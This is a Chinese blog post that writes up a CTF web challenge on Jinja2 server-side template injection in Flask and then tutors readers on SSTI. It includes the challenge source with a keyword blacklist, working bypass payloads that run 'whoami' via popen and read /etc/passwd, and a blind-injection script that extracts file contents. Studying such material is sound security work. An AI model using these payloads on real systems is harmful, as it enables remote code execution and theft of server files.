由SSTI模板注入漏洞想到的
前些日子参加了第十八届信息安全竞赛,其中有到最近很流行的Web题——SSTI模板注入漏洞,先完成一下题解,再做一些联想。
登陆靶场,打开后发现是标准的python Flask框架下的模板注入问题。
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>' + html.escape(f.read()) + '</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
仔细读暴露出来的源码,发现注入点是以POST请求发送的code参数值,以post请求发送code=1,回显ok,说明注入点在此。
同时采用了黑名单过滤机制,将'__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', 'r', 'n'等常用构造payload参数进行过滤,需要构造绕过语句。
针对过滤“__”,我们可以采用 _*2的方式进行绕过;针对关键词过滤,我们可以采用拼接绕过的方式进行绕过;同时表达式用{%%}包裹进行转义;最后再访问一下app.py.
综上,我们构造了绕过语句,

SSTI漏洞基本原理
SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行充分的验证和过滤,攻击者可以通过构造恶意的输入来注入模板代码,导致服务器端模板引擎执行恶意代码。
聊这个漏洞前可以先了解一下现在最流行的软件设计架构MVC,分为MODEL、Controller和View三层。
Mvc的处理过程是由控制器是接收业务请求,并决定调用那个模型来进行处理,然后模型业务逻辑来处理用户的请求并返回数据,最后控制器用相应的视图格式化模型返回的数据,并通过视图层呈现给用户。
也可以理解为,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户,SSTI模板注入漏洞正是发生于最后一个阶段。
服务端接收了用户的输入后,未经过滤或处理就将其作为Web应用模板的一部分,模板引擎在进行渲染的过程中,执行了用户插入的恶意破坏语句,从而可能导致信息泄露、远程代码执行等问题。

当今各个流行的编程语言基本都有其模板引擎,PHP中有Twig、Smarty、Blade等;Java中有Velocity、FreeMarker等;Python中有Django、Jinja2等。每个模板引擎都有其对应的语法,这里主要分析Jinja2模板引擎。
Jinja2模板引擎
Jinja2是Flask框架的一部分,是一种面向Python的现代和设计友好的轻量型模板语言,它是以Django的模板为模型的。
{% ... %} for Statements 可以用来声明变量,当然也可以用于循环语句和条件语句
{{ ... }} for Expressions to print to the template output 用于将表达式打印到模板输出
{# ... #} for Comments not included in the template output 表示未包含在模板输出中的注释
"##"for Line Statements 可以有和{%%}相同的效果
{% set x= 'abcd' %} 声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %} 条件语句
在常见的测试中,当我们将表达式直接打印输出,如:{{2*2}},输出为4时,我们即可判定其为该模板类型,或存在SSTI注入漏洞。
魔术方法
class :返回类型所属的对象
mro :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base :返回该对象所继承的父类
mro :返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
init 类的初始化方法
globals 对包含(保存)函数全局变量的字典的引用
通常情况下,在进行 Jinja2 模板注入(SSTI)攻击时,我们会利用模板语法中的对象访问能力,通过魔术方法(如 __class__、__mro__、__subclasses__)来遍历 Python 的类继承体系,从而查找能够执行系统命令的类或函数。我们通常会尝试找到如 subprocess.Popen 或 os.system 等可以执行系统指令的接口,并通过构造 Payload 调用这些函数来执行危险指令,达到远程命令执行等攻击目的。
SSTI绕过
过滤了 .
我们可以通过[],attr(),getattr()来绕过点
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
过滤了‘’和“”
flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过
GET方式,利用request.args传递参数
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
POST方式,利用request.values传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
Cookie方式,利用request.cookies传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
过滤了_
可以使用八进制或十六进制编码绕过,_编码后为x5f,.编码后为x2E
过滤了关键字
过滤了关键字,我们可以采用拼接、反转或双写进行绕过
拼接: class --> "cl"+"ass"
反转:class --> "ssalc"[::-1]
在jinjia2里面, + 可以省略,"class"等同于"cla""ss"等同于"cla"+"ss"
{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}
或者可以使用join来进行拼接
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
当然还有诸多过滤以及反过滤技巧,这里不过多赘述,遇到不会的要勤查手册,多向大牛学习。
盲注脚本
现在有诸多工具可以对SSTI漏洞进行检测,当然我们也可以写脚本进行自动化找类或者盲注,如p牛师傅的版本
import requests
url = 'http://ip:5000/?name='
def check(payload):
r = requests.get(url+payload).content
return 'kawhi' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in range(0,100):
for c in s:
payload = '{% if ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}kawhi{% endif %}'
if check(payload):
password += c
break
print(password)
更多联想
在学习到魔术方法的时候觉得特别眼熟,像在之前的JavaScript学习中见到过他们的身影。如所有类都继承于Object类,也有类的传递等。
现在看来JavaScript也是一种模板引擎,一切学习都是有相似,要融汇贯通。
0 条评论